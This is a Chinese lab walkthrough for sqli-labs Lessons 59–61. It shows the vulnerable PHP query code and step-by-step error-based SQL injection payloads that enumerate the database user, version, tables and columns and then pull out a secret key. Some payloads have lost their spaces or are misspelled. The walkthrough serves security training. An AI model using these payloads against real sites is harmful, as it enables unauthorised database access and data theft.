WEB常见漏洞之SQL注入(靶场篇—4)3

简介: WEB常见漏洞之SQL注入(靶场篇—4)

Lesson-59

该题为数字型get型注入,利用方式包括报错注入、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

iftrue:

     $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");

$pass = array_reverse($unames);

  输出查询信息;

else:

  print_r(mysql_error());

注意:该题与Lesson58的利用方式相同,只不过拼接方式由单引号转为了数字

使用报错注入判断注入点

id=1--+

查询基础信息

id=1and(selectcount(*)from information_schema.tablesgroupby concat((selectuser()),0x7e,floor(rand(0)*2)))--+

id=1and(selectcount(*)from information_schema.tablesgroupby concat((select version()),0x7e,floor(rand(0)*2)))--+

id=1and(selectcount(*)from information_schema.tablesgroupby concat((select databse()),0x7e,floor(rand(0)*2)))--+

查询表名

id=1and(selectcount(*)from information_schema.tablesgroupby concat((selecttable_namefrom information_schema.tableswhere table_schema=database()limit0,1),0x7e,floor(rand(0)*2)))--+

查询列名

id=1and(selectcount(*)from information_schema.tablesgroupby concat((select column_name from information_schema.columnswheretable_name='x1qk033kut'limit2,1),0x7e,floor(rand(0)*2)))--+

查询关键信息

id=1and(selectcount(*)from information_schema.tablesgroupby concat((select secret_9MWT from x1qk033kut limit0,1),0x7e,floor(rand(0)*2)))--+

成功拿到 key 值:LtSOIKqX4EC5zCPwOzc6NFS7

需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息

Lesson-60

该题为单括号双引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  $id ='("'.$id.'")';

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

iftrue:

     $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");

$pass = array_reverse($unames);

  输出查询信息;

else:

  print_r(mysql_error());

注意:该题与Lesson58的利用方式相同,只不过拼接方式由单引号转为了单括号双引号

使用报错注入判断注入点

id=1")--+

查询基础信息

id=1") and (select count(*) from information_schema.tables group by concat((select user()),0x7e,floor(rand(0)*2)))--+

id=1 and (select count(*) from information_schema.tables group by concat((select version()),0x7e,floor(rand(0)*2)))--+

id=1 and (select count(*) from information_schema.tables group by concat((select databse()),0x7e,floor(rand(0)*2)))--+

查询表名

id=1") and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+

查询列名

id=1") and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='bc8q88rlor' limit 2,1),0x7e,floor(rand(0)*2)))--+

查询关键信息

id=1") and (select count(*) from information_schema.tables group by concat((select secret_DAAH from bc8q88rlor limit 0,1),0x7e,floor(rand(0)*2)))--+

成功拿到 key 值:O8c2mJWO68hDxl7cAPYNpElM

需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息

Lesson-61

该题为双括号单引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";

iftrue:

     $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");

$pass = array_reverse($unames);

  输出查询信息;

else:

  print_r(mysql_error());

注意:该题与Lesson58的利用方式相同,只不过拼接方式由单引号转为了双括号单引号

使用报错注入判断注入点

id=1'))--+

查询基础信息

id=1')) and (select count(*) from information_schema.tables group by concat((select user()),0x7e,floor(rand(0)*2)))--+

id=1'))and(selectcount(*)from information_schema.tablesgroupby concat((select version()),0x7e,floor(rand(0)*2)))--+

id=1')) and (select count(*) from information_schema.tables group by concat((select databse()),0x7e,floor(rand(0)*2)))--+

查询表名

id=1')) and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+

查询列名

id=1')) and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='upre7krqfg' limit 2,1),0x7e,floor(rand(0)*2)))--+

查询关键信息

id=1')) and (select count(*) from information_schema.tables group by concat((select secret_EX6I from upre7krqfg limit 0,1),0x7e,floor(rand(0)*2)))--+

成功拿到 key 值:6lB7uSQQDKE96ZNcXEDiREHG

需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息

目录
相关文章
|
10月前
|
人工智能 机器人 物联网
提高商店客流量的智能设备选型指南:从客流分析到数字化运营
实体零售面临客流下滑与运营瓶颈,亟需从“坐商”转向“数据驱动+主动引流”。本文系统解析六大类智能设备技术架构,涵盖客流分析、智能引流、智慧收银、导视系统、数据中台与氛围营造,结合不同业态痛点提供选型策略与实施路径,助力门店实现数字化升级与效率跃迁。
|
8月前
|
前端开发 JavaScript 应用服务中间件
手把手教你给项目配 HTTPS(Nginx 实战教程,前端 + 后端)
本文章中你既能收获"为什么",也会收获"怎么做"。
1700 5
手把手教你给项目配 HTTPS(Nginx 实战教程,前端 + 后端)
|
7月前
|
人工智能 弹性计算 安全
Hermes Agent安装保姆级教程:共3中方法,大家任选,总有一种方法适合你!
阿里云提供三种零代码部署Hermes Agent(爱马仕)方案:轻量应用服务器(低至38元/年)、无影云电脑(支持微信接入)和ECS(免费)。该开源AI智能体具备自我进化能力,5美元服务器即可运行,新手友好,2026年AI Agent之争未定,但部署已极简。
|
存储 安全 JavaScript
XSS--概念、类型、实战--分析与详解[pikachu]
XSS--概念、类型、实战--分析与详解[pikachu]
2222 0
|
人工智能 智能设计 云计算
阿里云logo在线设计
阿里云logo在线设计,阿里云logo智能设计一键生成海量LOGO可供选择,阿里云百科分享阿里云LOGO设计生成网址链接以及使用方法,智能LOGO设计,仅需3步,10秒生成,AI匹配海量logo,商用无忧:
4146 0
阿里云logo在线设计
|
存储 安全 Java
WEB常见漏洞之命令执行(基础原理篇)
WEB常见漏洞之命令执行(基础原理篇)
1420 0
WEB常见漏洞之命令执行(基础原理篇)
|
Linux iOS开发 Docker
docker 无法将“docker”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。
docker 无法将“docker”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。
5505 0
|
存储 安全 JavaScript
WEB常见漏洞之反序列化(靶场篇)2
WEB常见漏洞之反序列化(靶场篇)
694 0
|
XML 安全 JavaScript
WEB常见漏洞之XXE(基础原理篇)
WEB常见漏洞之XXE(基础原理篇)
698 0

热门文章

最新文章